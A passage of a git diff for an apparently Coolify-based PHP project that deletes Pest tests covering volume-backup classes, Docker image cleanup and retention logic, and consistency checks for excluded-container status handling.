index 83cae30688..623e140dfb 100644
--- a/tests/Feature/VolumeBackupTest.php
+++ b/tests/Feature/VolumeBackupTest.php
@@ -55,15 +55,6 @@ it('types service backup S3 storage state as a nullable Eloquent collection', fu
->and($property->getDefaultValue())->toBeNull();
});
-it('provides the volume backup domain classes and relationship', function () {
- expect(class_exists(ScheduledVolumeBackup::class))->toBeTrue()
- ->and(class_exists(ScheduledVolumeBackupExecution::class))->toBeTrue()
- ->and(class_exists(VolumeBackupJob::class))->toBeTrue()
- ->and(class_exists(VolumeBackups::class))->toBeTrue()
- ->and(method_exists(LocalPersistentVolume::class, 'scheduledBackups'))->toBeTrue()
- ->and(method_exists(LocalFileVolume::class, 'scheduledBackups'))->toBeTrue();
-});
-
it('allows large volume backups to run for ten hours by default', function () {
$backup = new ScheduledVolumeBackup;
$job = new VolumeBackupJob($backup);
@@ -672,16 +663,6 @@ it('records the S3 storage used by each volume backup execution', function () {
->and((new ScheduledVolumeBackupExecution)->s3())->not->toBeNull();
});
-it('exposes actions to manage and run volume backups', function () {
- expect(method_exists(VolumeBackups::class, 'save'))->toBeTrue()
- ->and(method_exists(VolumeBackups::class, 'backupNow'))->toBeTrue()
- ->and(method_exists(VolumeBackups::class, 'toggleEnabled'))->toBeTrue()
- ->and(method_exists(VolumeBackups::class, 'delete'))->toBeTrue()
- ->and(method_exists(VolumeBackups::class, 'cleanupFailed'))->toBeTrue()
- ->and(method_exists(VolumeBackups::class, 'cleanupDeleted'))->toBeTrue()
- ->and(method_exists(VolumeBackups::class, 'deleteBackup'))->toBeTrue();
-});
-
it('declares the volume backup action return types', function () {
$backupNowReturnType = (new ReflectionMethod(VolumeBackups::class, 'backupNow'))->getReturnType();
$deleteReturnType = (new ReflectionMethod(VolumeBackups::class, 'delete'))->getReturnType();
diff --git a/tests/Pest.php b/tests/Pest.php
index 9ec1040ec7..9707fad3ba 100644
--- a/tests/Pest.php
+++ b/tests/Pest.php
@@ -15,7 +15,7 @@ use Tests\TestCase;
| need to change it using the "uses()" function to bind a different classes or traits.
|
*/
-uses(TestCase::class)->in('Feature', 'v4/Feature', 'v4/Browser', 'v5/Browser');
+uses(TestCase::class)->in('Feature', 'v4/Feature', 'v4/Browser');
/*
|--------------------------------------------------------------------------
diff --git a/tests/Unit/Actions/Server/CleanupDockerTest.php b/tests/Unit/Actions/Server/CleanupDockerTest.php
deleted file mode 100644
index 93f2a9afc0..0000000000
--- a/tests/Unit/Actions/Server/CleanupDockerTest.php
+++ /dev/null
@@ -1,458 +0,0 @@
- 'app-uuid', 'tag' => 'abc123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:abc123'],
- ['repository' => 'app-uuid', 'tag' => 'def456', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:def456'],
- ['repository' => 'app-uuid', 'tag' => 'pr-123', 'created_at' => '2024-01-03', 'image_ref' => 'app-uuid:pr-123'],
- ['repository' => 'app-uuid', 'tag' => 'pr-456', 'created_at' => '2024-01-04', 'image_ref' => 'app-uuid:pr-456'],
- ['repository' => 'app-uuid', 'tag' => 'abc123-build', 'created_at' => '2024-01-05', 'image_ref' => 'app-uuid:abc123-build'],
- ['repository' => 'app-uuid', 'tag' => 'def456-build', 'created_at' => '2024-01-06', 'image_ref' => 'app-uuid:def456-build'],
- ]);
-
- // PR images (tags starting with 'pr-')
- $prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-'));
- expect($prImages)->toHaveCount(2);
- expect($prImages->pluck('tag')->toArray())->toContain('pr-123', 'pr-456');
-
- // Build images (tags ending with '-build', excluding PR builds)
- $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
- expect($buildImages)->toHaveCount(2);
- expect($buildImages->pluck('tag')->toArray())->toContain('abc123-build', 'def456-build');
-
- // Regular images (neither PR nor build) - these are subject to retention policy
- $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
- expect($regularImages)->toHaveCount(2);
- expect($regularImages->pluck('tag')->toArray())->toContain('abc123', 'def456');
-});
-
-it('filters out currently running image from deletion candidates', function () {
- $images = collect([
- ['repository' => 'app-uuid', 'tag' => 'abc123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:abc123'],
- ['repository' => 'app-uuid', 'tag' => 'def456', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:def456'],
- ['repository' => 'app-uuid', 'tag' => 'ghi789', 'created_at' => '2024-01-03', 'image_ref' => 'app-uuid:ghi789'],
- ]);
-
- $currentTag = 'def456';
-
- $deletionCandidates = $images->filter(fn ($image) => $image['tag'] !== $currentTag);
-
- expect($deletionCandidates)->toHaveCount(2);
- expect($deletionCandidates->pluck('tag')->toArray())->not->toContain('def456');
- expect($deletionCandidates->pluck('tag')->toArray())->toContain('abc123', 'ghi789');
-});
-
-it('keeps the correct number of images based on docker_images_to_keep setting', function () {
- $images = collect([
- ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
- ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
- ['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'],
- ['repository' => 'app-uuid', 'tag' => 'commit4', 'created_at' => '2024-01-04 10:00:00', 'image_ref' => 'app-uuid:commit4'],
- ['repository' => 'app-uuid', 'tag' => 'commit5', 'created_at' => '2024-01-05 10:00:00', 'image_ref' => 'app-uuid:commit5'],
- ]);
-
- $currentTag = 'commit5';
- $imagesToKeep = 2;
-
- // Filter out current, sort by date descending, keep N
- $sortedImages = $images
- ->filter(fn ($image) => $image['tag'] !== $currentTag)
- ->sortByDesc('created_at')
- ->values();
-
- $imagesToDelete = $sortedImages->skip($imagesToKeep);
-
- // Should delete commit1, commit2 (oldest 2 after keeping 2 newest: commit4, commit3)
- expect($imagesToDelete)->toHaveCount(2);
- expect($imagesToDelete->pluck('tag')->toArray())->toContain('commit1', 'commit2');
-});
-
-it('deletes all images when docker_images_to_keep is 0', function () {
- $images = collect([
- ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
- ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
- ['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'],
- ]);
-
- $currentTag = 'commit3';
- $imagesToKeep = 0;
-
- $sortedImages = $images
- ->filter(fn ($image) => $image['tag'] !== $currentTag)
- ->sortByDesc('created_at')
- ->values();
-
- $imagesToDelete = $sortedImages->skip($imagesToKeep);
-
- // Should delete all images except the currently running one
- expect($imagesToDelete)->toHaveCount(2);
- expect($imagesToDelete->pluck('tag')->toArray())->toContain('commit1', 'commit2');
-});
-
-it('does not delete any images when there are fewer than images_to_keep', function () {
- $images = collect([
- ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
- ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
- ]);
-
- $currentTag = 'commit2';
- $imagesToKeep = 5;
-
- $sortedImages = $images
- ->filter(fn ($image) => $image['tag'] !== $currentTag)
- ->sortByDesc('created_at')
- ->values();
-
- $imagesToDelete = $sortedImages->skip($imagesToKeep);
-
- // Should not delete anything - we have fewer images than the keep limit
- expect($imagesToDelete)->toHaveCount(0);
-});
-
-it('handles images with custom registry names', function () {
- // Test that the logic works regardless of repository name format
- $images = collect([
- ['repository' => 'registry.example.com/my-app', 'tag' => 'v1.0.0', 'created_at' => '2024-01-01', 'image_ref' => 'registry.example.com/my-app:v1.0.0'],
- ['repository' => 'registry.example.com/my-app', 'tag' => 'v1.1.0', 'created_at' => '2024-01-02', 'image_ref' => 'registry.example.com/my-app:v1.1.0'],
- ['repository' => 'registry.example.com/my-app', 'tag' => 'pr-99', 'created_at' => '2024-01-03', 'image_ref' => 'registry.example.com/my-app:pr-99'],
- ]);
-
- $prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-'));
- $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
-
- expect($prImages)->toHaveCount(1);
- expect($regularImages)->toHaveCount(2);
-});
-
-it('correctly identifies PR build images as PR images', function () {
- // PR build images have tags like 'pr-123-build'
- // They are identified as PR images (start with 'pr-') and will be deleted
- $images = collect([
- ['repository' => 'app-uuid', 'tag' => 'pr-123', 'created_at' => '2024-01-01', 'image_ref' => 'app-uuid:pr-123'],
- ['repository' => 'app-uuid', 'tag' => 'pr-123-build', 'created_at' => '2024-01-02', 'image_ref' => 'app-uuid:pr-123-build'],
- ]);
-
- // PR images include both pr-123 and pr-123-build (both start with 'pr-')
- $prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-'));
-
- expect($prImages)->toHaveCount(2);
-});
-
-it('defaults to keeping 2 images when setting is null', function () {
- $defaultValue = 2;
-
- // Simulate the null coalescing behavior
- $dockerImagesToKeep = null ?? $defaultValue;
-
- expect($dockerImagesToKeep)->toBe(2);
-});
-
-it('does not delete images when count equals images_to_keep', function () {
- // Scenario: User has 3 images, 1 is running, 2 remain, keep limit is 2
- // Expected: No images should be deleted
- $images = collect([
- ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
- ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
- ['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'],
- ]);
-
- $currentTag = 'commit3'; // This is running
- $imagesToKeep = 2;
-
- $sortedImages = $images
- ->filter(fn ($image) => $image['tag'] !== $currentTag)
- ->sortByDesc('created_at')
- ->values();
-
- // After filtering out running image, we have 2 images
- expect($sortedImages)->toHaveCount(2);
-
- $imagesToDelete = $sortedImages->skip($imagesToKeep);
-
- // Skip 2, leaving 0 to delete
- expect($imagesToDelete)->toHaveCount(0);
-});
-
-it('handles scenario where no container is running', function () {
- // Scenario: 2 images exist, none running, keep limit is 2
- // Expected: No images should be deleted (keep all 2)
- $images = collect([
- ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
- ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
- ]);
-
- $currentTag = ''; // No container running, empty tag
- $imagesToKeep = 2;
-
- $sortedImages = $images
- ->filter(fn ($image) => $image['tag'] !== $currentTag)
- ->sortByDesc('created_at')
- ->values();
-
- // All images remain since none match the empty current tag
- expect($sortedImages)->toHaveCount(2);
-
- $imagesToDelete = $sortedImages->skip($imagesToKeep);
-
- // Skip 2, leaving 0 to delete
- expect($imagesToDelete)->toHaveCount(0);
-});
-
-it('handles Docker Compose service images with uuid_servicename pattern', function () {
- // Docker Compose with build: directive creates images like uuid_servicename:tag
- $images = collect([
- ['repository' => 'app-uuid_web', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid_web:commit1'],
- ['repository' => 'app-uuid_web', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid_web:commit2'],
- ['repository' => 'app-uuid_worker', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid_worker:commit1'],
- ['repository' => 'app-uuid_worker', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid_worker:commit2'],
- ]);
-
- // All images should be categorized as regular images (not PR, not build)
- $prImages = $images->filter(fn ($image) => str_starts_with($image['tag'], 'pr-'));
- $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
-
- expect($prImages)->toHaveCount(0);
- expect($regularImages)->toHaveCount(4);
-});
-
-it('correctly excludes Docker Compose images from general prune', function () {
- // Test the grep pattern that excludes application images
- // Pattern should match both uuid:tag and uuid_servicename:tag
- $appUuid = 'abc123def456';
- $excludePattern = preg_quote($appUuid, '/');
-
- // Images that should be EXCLUDED (protected)
- $protectedImages = [
- "{$appUuid}:commit1", // Standard app image
- "{$appUuid}_web:commit1", // Docker Compose service
- "{$appUuid}_worker:commit2", // Docker Compose service
- ];
-
- // Images that should be INCLUDED (deleted)
- $deletableImages = [
- 'other-app:latest',
- 'nginx:alpine',
- 'postgres:15',
- ];
-
- // Test the regex pattern used in buildImagePruneCommand
- $pattern = "/^({$excludePattern})[_:].+/";
-
- foreach ($protectedImages as $image) {
- expect(preg_match($pattern, $image))->toBe(1, "Image {$image} should be protected");
- }
-
- foreach ($deletableImages as $image) {
- expect(preg_match($pattern, $image))->toBe(0, "Image {$image} should be deletable");
- }
-});
-
-it('excludes current version of the Coolify helper image from any registry', function () {
- $helperVersion = '1.0.12';
-
- $escapedHelperVersion = preg_quote($helperVersion, '/');
- $infraPattern = "(^|/)coollabsio/coolify-helper:{$escapedHelperVersion}$";
- $pattern = "#{$infraPattern}#";
-
- $protectedImages = [
- "ghcr.io/coollabsio/coolify-helper:{$helperVersion}",
- "docker.io/coollabsio/coolify-helper:{$helperVersion}",
- "coollabsio/coolify-helper:{$helperVersion}",
- ];
-
- foreach ($protectedImages as $image) {
- expect(preg_match($pattern, $image))->toBe(1, "Current infrastructure image {$image} should be protected");
- }
-
- $oldVersionImages = [
- 'ghcr.io/coollabsio/coolify-helper:1.0.11',
- 'docker.io/coollabsio/coolify-helper:1.0.10',
- 'coollabsio/coolify-helper:1.0.9',
- 'ghcr.io/coollabsio/coolify-helper:latest',
- ];
-
- foreach ($oldVersionImages as $image) {
- expect(preg_match($pattern, $image))->toBe(0, "Old infrastructure image {$image} should NOT be protected");
- }
-
- $deletableImages = [
- 'nginx:alpine',
- 'postgres:15',
- 'redis:7',
- 'mysql:8.0',
- 'node:20',
- ];
-
- foreach ($deletableImages as $image) {
- expect(preg_match($pattern, $image))->toBe(0, "Image {$image} should NOT be protected");
- }
-});
-
-it('protects current helper image from any registry even when no applications exist', function () {
- $helperVersion = '1.0.12';
-
- $escapedHelperVersion = preg_quote($helperVersion, '/');
- $infraPattern = "(^|/)coollabsio/coolify-helper:{$escapedHelperVersion}$";
- $pattern = "#{$infraPattern}#";
-
- expect(preg_match($pattern, "ghcr.io/coollabsio/coolify-helper:{$helperVersion}"))->toBe(1);
- expect(preg_match($pattern, "docker.io/coollabsio/coolify-helper:{$helperVersion}"))->toBe(1);
- expect(preg_match($pattern, "coollabsio/coolify-helper:{$helperVersion}"))->toBe(1);
-
- expect(preg_match($pattern, 'ghcr.io/coollabsio/coolify-helper:1.0.11'))->toBe(0);
- expect(preg_match($pattern, 'docker.io/coollabsio/coolify-helper:1.0.11'))->toBe(0);
- expect(preg_match($pattern, 'nginx:alpine'))->toBe(0);
-});
-
-it('deletes build images not matching retained regular images', function () {
- // Simulates the Nixpacks scenario from issue #8765:
- // Many -build images accumulate because they were excluded from both cleanup paths
- $images = collect([
- ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
- ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
- ['repository' => 'app-uuid', 'tag' => 'commit3', 'created_at' => '2024-01-03 10:00:00', 'image_ref' => 'app-uuid:commit3'],
- ['repository' => 'app-uuid', 'tag' => 'commit4', 'created_at' => '2024-01-04 10:00:00', 'image_ref' => 'app-uuid:commit4'],
- ['repository' => 'app-uuid', 'tag' => 'commit5', 'created_at' => '2024-01-05 10:00:00', 'image_ref' => 'app-uuid:commit5'],
- ['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'],
- ['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'],
- ['repository' => 'app-uuid', 'tag' => 'commit3-build', 'created_at' => '2024-01-03 09:00:00', 'image_ref' => 'app-uuid:commit3-build'],
- ['repository' => 'app-uuid', 'tag' => 'commit4-build', 'created_at' => '2024-01-04 09:00:00', 'image_ref' => 'app-uuid:commit4-build'],
- ['repository' => 'app-uuid', 'tag' => 'commit5-build', 'created_at' => '2024-01-05 09:00:00', 'image_ref' => 'app-uuid:commit5-build'],
- ]);
-
- $currentTag = 'commit5';
- $imagesToKeep = 2;
-
- $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
- $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
-
- $sortedRegularImages = $regularImages
- ->filter(fn ($image) => $image['tag'] !== $currentTag)
- ->sortByDesc('created_at')
- ->values();
-
- // Determine kept tags: current + N newest rollback
- $keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
- if (! empty($currentTag)) {
- $keptTags = $keptTags->push($currentTag);
- }
-
- // Kept tags should be: commit5 (running), commit4, commit3 (2 newest rollback)
- expect($keptTags->toArray())->toContain('commit5', 'commit4', 'commit3');
-
- // Build images to delete: those whose base tag is NOT in keptTags
- $buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) {
- $baseTag = preg_replace('/-build$/', '', $image['tag']);
-
- return ! $keptTags->contains($baseTag);
- });
-
- // Should delete commit1-build and commit2-build (their base tags are not kept)
- expect($buildImagesToDelete)->toHaveCount(2);
- expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build', 'commit2-build');
-
- // Should keep commit3-build, commit4-build, commit5-build (matching retained images)
- $buildImagesToKeep = $buildImages->filter(function ($image) use ($keptTags) {
- $baseTag = preg_replace('/-build$/', '', $image['tag']);
-
- return $keptTags->contains($baseTag);
- });
- expect($buildImagesToKeep)->toHaveCount(3);
- expect($buildImagesToKeep->pluck('tag')->toArray())->toContain('commit5-build', 'commit4-build', 'commit3-build');
-});
-
-it('deletes all build images when retention is disabled', function () {
- $images = collect([
- ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
- ['repository' => 'app-uuid', 'tag' => 'commit2', 'created_at' => '2024-01-02 10:00:00', 'image_ref' => 'app-uuid:commit2'],
- ['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'],
- ['repository' => 'app-uuid', 'tag' => 'commit2-build', 'created_at' => '2024-01-02 09:00:00', 'image_ref' => 'app-uuid:commit2-build'],
- ]);
-
- $currentTag = 'commit2';
- $imagesToKeep = 0; // Retention disabled
-
- $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
- $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
-
- $sortedRegularImages = $regularImages
- ->filter(fn ($image) => $image['tag'] !== $currentTag)
- ->sortByDesc('created_at')
- ->values();
-
- // With imagesToKeep=0, only current tag is kept
- $keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
- if (! empty($currentTag)) {
- $keptTags = $keptTags->push($currentTag);
- }
-
- $buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) {
- $baseTag = preg_replace('/-build$/', '', $image['tag']);
-
- return ! $keptTags->contains($baseTag);
- });
-
- // commit1-build should be deleted (not retained), commit2-build kept (matches running)
- expect($buildImagesToDelete)->toHaveCount(1);
- expect($buildImagesToDelete->pluck('tag')->toArray())->toContain('commit1-build');
-});
-
-it('container prune excludes persistent resource types', function () {
- $sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php');
-
- expect($sourceFile)->toContain('label!=coolify.type=database');
- expect($sourceFile)->toContain('label!=coolify.type=application');
- expect($sourceFile)->toContain('label!=coolify.type=service');
- expect($sourceFile)->toContain('label!=coolify.proxy=true');
- expect($sourceFile)->toContain('label=coolify.managed=true');
-});
-
-it('uses persisted buildx metadata when pruning the railpack builder', function () {
- $sourceFile = file_get_contents(__DIR__.'/../../../../app/Actions/Server/CleanupDocker.php');
-
- expect($sourceFile)
- ->toContain(": '\$HOME/.docker/buildx';")
- ->toContain('docker run --rm -v {$buildxMetadataVolume}:/root/.docker/buildx')
- ->toContain('docker buildx prune --builder coolify-railpack -af')
- ->not->toContain('--buildkitd-flags');
-});
-
-it('preserves build image for currently running tag', function () {
- $images = collect([
- ['repository' => 'app-uuid', 'tag' => 'commit1', 'created_at' => '2024-01-01 10:00:00', 'image_ref' => 'app-uuid:commit1'],
- ['repository' => 'app-uuid', 'tag' => 'commit1-build', 'created_at' => '2024-01-01 09:00:00', 'image_ref' => 'app-uuid:commit1-build'],
- ]);
-
- $currentTag = 'commit1';
- $imagesToKeep = 2;
-
- $buildImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && str_ends_with($image['tag'], '-build'));
- $regularImages = $images->filter(fn ($image) => ! str_starts_with($image['tag'], 'pr-') && ! str_ends_with($image['tag'], '-build'));
-
- $sortedRegularImages = $regularImages
- ->filter(fn ($image) => $image['tag'] !== $currentTag)
- ->sortByDesc('created_at')
- ->values();
-
- $keptTags = $sortedRegularImages->take($imagesToKeep)->pluck('tag');
- if (! empty($currentTag)) {
- $keptTags = $keptTags->push($currentTag);
- }
-
- $buildImagesToDelete = $buildImages->filter(function ($image) use ($keptTags) {
- $baseTag = preg_replace('/-build$/', '', $image['tag']);
-
- return ! $keptTags->contains($baseTag);
- });
-
- // Build image for running tag should NOT be deleted
- expect($buildImagesToDelete)->toHaveCount(0);
-});
diff --git a/tests/Unit/AllExcludedContainersConsistencyTest.php b/tests/Unit/AllExcludedContainersConsistencyTest.php
deleted file mode 100644
index bdab6e145d..0000000000
--- a/tests/Unit/AllExcludedContainersConsistencyTest.php
+++ /dev/null
@@ -1,223 +0,0 @@
-toContain('trait CalculatesExcludedStatus')
- ->toContain('protected function calculateExcludedStatus(Collection $containers, Collection $excludedContainers): string')
- ->toContain('protected function calculateExcludedStatusFromStrings(Collection $containerStatuses): string')
- ->toContain('protected function getExcludedContainersFromDockerCompose(?string $dockerComposeRaw): Collection');
-});
-
-it('ensures ComplexStatusCheck uses CalculatesExcludedStatus trait', function () {
- $complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
-
- // Verify trait is used
- expect($complexStatusCheckFile)
- ->toContain('use App\Traits\CalculatesExcludedStatus;')
- ->toContain('use CalculatesExcludedStatus;');
-
- // Verify it uses the trait method instead of inline code
- expect($complexStatusCheckFile)
- ->toContain('return $this->calculateExcludedStatus($containers, $excludedContainers);');
-
- // Verify it uses the trait helper for excluded containers
- expect($complexStatusCheckFile)
- ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
-});
-
-it('ensures PushServerUpdateJob uses CalculatesExcludedStatus trait', function () {
- $pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
-
- // Verify trait is used
- expect($pushServerUpdateJobFile)
- ->toContain('use App\Traits\CalculatesExcludedStatus;')
- ->toContain('use CalculatesExcludedStatus;');
-
- // Verify it calculates excluded status instead of skipping (old behavior: continue)
- expect($pushServerUpdateJobFile)
- ->toContain('// If all containers are excluded, calculate status from excluded containers')
- ->toContain('$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);');
-
- // Verify it uses the trait helper for excluded containers
- expect($pushServerUpdateJobFile)
- ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
-});
-
-it('ensures PushServerUpdateJob calculates excluded status for applications', function () {
- $pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
-
- // In aggregateMultiContainerStatuses, verify the all-excluded scenario
- // calculates status and updates the application
- expect($pushServerUpdateJobFile)
- ->toContain('if ($relevantStatuses->isEmpty()) {')
- ->toContain('$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);')
- ->toContain('if ($aggregatedStatus && $application->status !== $aggregatedStatus) {')
- ->toContain('$application->status = $aggregatedStatus;')
- ->toContain('$application->save();');
-});
-
-it('ensures PushServerUpdateJob calculates excluded status for services', function () {
- $pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
-
- // Count occurrences - should appear twice (once for applications, once for services)
- $calculateExcludedCount = substr_count(
- $pushServerUpdateJobFile,
- '$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);'
- );
-
- expect($calculateExcludedCount)->toBe(2, 'Should calculate excluded status for both applications and services');
-});
-
-it('ensures GetContainersStatus uses CalculatesExcludedStatus trait', function () {
- $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
-
- // Verify trait is used
- expect($getContainersStatusFile)
- ->toContain('use App\Traits\CalculatesExcludedStatus;')
- ->toContain('use CalculatesExcludedStatus;');
-
- // Verify it calculates excluded status instead of returning null
- expect($getContainersStatusFile)
- ->toContain('// If all containers are excluded, calculate status from excluded containers')
- ->toContain('return $this->calculateExcludedStatusFromStrings($containerStatuses);');
-
- // Verify it uses the trait helper for excluded containers
- expect($getContainersStatusFile)
- ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
-});
-
-it('ensures GetContainersStatus calculates excluded status for applications', function () {
- $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
-
- // In aggregateApplicationStatus, verify the all-excluded scenario returns status
- expect($getContainersStatusFile)
- ->toContain('if ($relevantStatuses->isEmpty()) {')
- ->toContain('return $this->calculateExcludedStatusFromStrings($containerStatuses);');
-});
-
-it('ensures GetContainersStatus calculates excluded status for services', function () {
- $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
-
- // In aggregateServiceContainerStatuses, verify the all-excluded scenario updates status
- expect($getContainersStatusFile)
- ->toContain('$aggregatedStatus = $this->calculateExcludedStatusFromStrings($containerStatuses);')
- ->toContain('if ($aggregatedStatus) {')
- ->toContain('$statusFromDb = $subResource->status;')
- ->toContain("if (\$statusFromDb !== \$aggregatedStatus) {\n \$subResource->update(['status' => \$aggregatedStatus]);");
-});
-
-it('ensures excluded status format is consistent across all paths', function () {
- $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
-
- // Trait now delegates to ContainerStatusAggregator and uses appendExcludedSuffix helper
- expect($traitFile)
- ->toContain('use App\\Services\\ContainerStatusAggregator;')
- ->toContain('$aggregator = new ContainerStatusAggregator;')
- ->toContain('private function appendExcludedSuffix(string $status): string');
-
- // Check that appendExcludedSuffix returns consistent colon format with :excluded suffix
- expect($traitFile)
- ->toContain("return 'degraded:excluded';")
- ->toContain("return 'paused:excluded';")
- ->toContain("return 'starting:excluded';")
- ->toContain("return 'exited';")
- ->toContain('return "$status:excluded";'); // For running:healthy:excluded, running:unhealthy:excluded, etc.
-});
-
-it('ensures all three paths check for exclude_from_hc flag consistently', function () {
- // All three should use the trait helper method
- $complexStatusCheckFile = file_get_contents(__DIR__.'/../../app/Actions/Shared/ComplexStatusCheck.php');
- $pushServerUpdateJobFile = file_get_contents(__DIR__.'/../../app/Jobs/PushServerUpdateJob.php');
- $getContainersStatusFile = file_get_contents(__DIR__.'/../../app/Actions/Docker/GetContainersStatus.php');
-
- expect($complexStatusCheckFile)
- ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
-
- expect($pushServerUpdateJobFile)
- ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
-
- expect($getContainersStatusFile)
- ->toContain('$excludedContainers = $this->getExcludedContainersFromDockerCompose($dockerComposeRaw);');
-
- // The trait method should check both exclude_from_hc and restart: no
- $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
- expect($traitFile)
- ->toContain('$excludeFromHc = data_get($serviceConfig, \'exclude_from_hc\', false);')
- ->toContain('$restartPolicy = data_get($serviceConfig, \'restart\', \'always\');')
- ->toContain('if ($excludeFromHc || $restartPolicy === \'no\') {');
-});
-
-it('ensures calculateExcludedStatus uses ContainerStatusAggregator', function () {
- $traitFile = file_get_contents(__DIR__.'/../../app/Traits/CalculatesExcludedStatus.php');
-
- // Check that the trait uses ContainerStatusAggregator service instead of duplicating logic
- expect($traitFile)
- ->toContain('protected function calculateExcludedStatus(Collection $containers, Collection $excludedContainers): string')
- ->toContain('use App\Services\ContainerStatusAggregator;')
- ->toContain('$aggregator = new ContainerStatusAggregator;')
- ->toContain('$aggregator->aggregateFromContainers($excludedOnly)');
-
- // Check that it has appendExcludedSuffix helper for all states
- expect($traitFile)
- ->toContain('private function appendExcludedSuffix(string $status): string')
- ->toContain("return 'degraded:excluded';")
- ->toContain("return 'paused:excluded';")
